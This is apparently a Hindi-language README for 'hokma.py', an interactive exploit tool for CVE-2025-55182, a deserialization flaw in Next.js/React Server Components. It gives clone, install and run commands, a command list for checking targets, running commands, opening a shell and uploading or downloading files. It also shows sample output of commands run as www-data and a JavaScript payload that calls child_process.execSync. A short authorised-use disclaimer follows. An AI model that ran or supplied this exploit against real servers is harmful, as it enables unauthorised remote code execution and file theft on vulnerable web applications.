
CVE-2025-55182 के लिए इंटरैक्टिव RCE एक्सप्लॉइट, जो Next.js/React सर्वर घटकों की deserialization कमज़ोरी को लक्षित करता है। इसमें स्वचालित पहचान, कमांड निष्पादन, फ़ाइल स्थानांतरण, और इतिहास एवं ऑटोकम्प्लीशन के साथ एक अंतर्निहित शेल शामिल है।
आधार इससे लिया गया: https://github.com/Emiyelbarto/CVE-2025-55182-PoC महान योगदान के लिए बहुत-बहुत धन्यवाद।
CVE-2025-55182 एक डिसीरियलाइज़ेशन भेद्यता है जो Next.js/React Server Components में है, जो अप्रमाणित दूरस्थ हमलावरों को प्रभावित सर्वरों पर मनमाना कोड निष्पादित करने की अनुमति देती है। यह भेद्यता React Server Actions में सीरियलाइज़्ड डेटा के अनुचित हैंडलिंग से उत्पन्न होती है।
requests लाइब्रेरी# Clone the repository
git clone https://github.com/yourusername/hokma.git
cd hokma
# Install dependencies
pip install requests
# Make script executable (optional)
chmod +x hokma.py
# Start interactive shell
python hokma.py
# Check vulnerability only
python hokma.py -u http://target.com --check
# Execute single command
python hokma.py -u http://target.com -c "whoami"
help Show this help message
set URL <url> Set target URL
set ID <action_id> Set action ID (default: user-profile-action)
show Show current options
check [url] Check if target is vulnerable
exploit <command> Execute command on target
shell Start interactive command shell
test Run test commands (id, whoami, etc.)
upload <loc> <rem> Upload local file to target
download <rem> <loc> Download remote file (base64 encoded)
clear Clear screen
exit/quit Exit the shell
$ python hokma.py
____ _ ____ _ _ _
| _ \ ___ __ _ ___| |_ / ___|| |__ ___| | |
| |_) / _ \/ _` |/ __| __| \___ \| '_ \ / _ \ | |
| _ < __/ (_| | (__| |_ ___) | | | | __/ | |
|_| \_\___|\__,_|\___|\__| |____/|_| |_|\___|_|_|
React Server Components RCE Exploit (CVE-2025-55182)
Interactive Shell - Type 'help' for commands
hokma> set URL http://vulnerable-app.com
[+] URL set to: http://vulnerable-app.com
hokma> check
[*] Checking vulnerability on target: http://vulnerable-app.com...
[+] TARGET IS VULNERABLE!
hokma> exploit whoami
[*] Executing command: whoami
[*] Server responded with status: 200
--- COMMAND OUTPUT ---
www-data
----------------------
hokma> shell
[*] Starting reverse shell. Use 'exit' to return.
[*] Enter commands to execute on target:
cmd> pwd
[*] Executing command: pwd
--- COMMAND OUTPUT ---
/var/www/html
----------------------
cmd> exit
| विकल्प | डिफ़ॉल्ट | विवरण |
|---|---|---|
| लक्ष्य URL | कोई नहीं | असुरक्षित एप्लिकेशन का URL |
| क्रिया ID | user-profile-action | लक्ष्य के लिए सर्वर क्रिया ID |
| समय-सीमा | 3 सेकंड | अनुरोध समय-सीमा |
यह उपकरण एक विशेष रूप से तैयार किया गया मल्टीपार्ट अनुरोध भेजता है जो असुरक्षित सिस्टम में क्रैश ट्रिगर करता है:
["$1:a:a"] एक खाली ऑब्जेक्ट {} के साथchild_process.execSync() का उपयोग करता हैconst cmd = "COMMAND";
return import('child_process').then(cp => {
try {
const output = cp.execSync(cmd).toString();
return output;
} catch(e) {
return "Command Execution Failed: " + e.message;
}
});
महत्वपूर्ण कानूनी सूचना
यह उपकरण इसके लिए अभिप्रेत है:
इस उपकरण का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध और अनैतिक है।
डेवलपर्स इस उपकरण के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं। उपयोगकर्ताओं को सभी लागू कानूनों का पालन करना होगा और परीक्षण से पहले उचित प्राधिकरण प्राप्त करना होगा।
लक्ष्य आवश्यकताएँ:
पता लगाने की सीमाएँ:
शोषण बाधाएँ: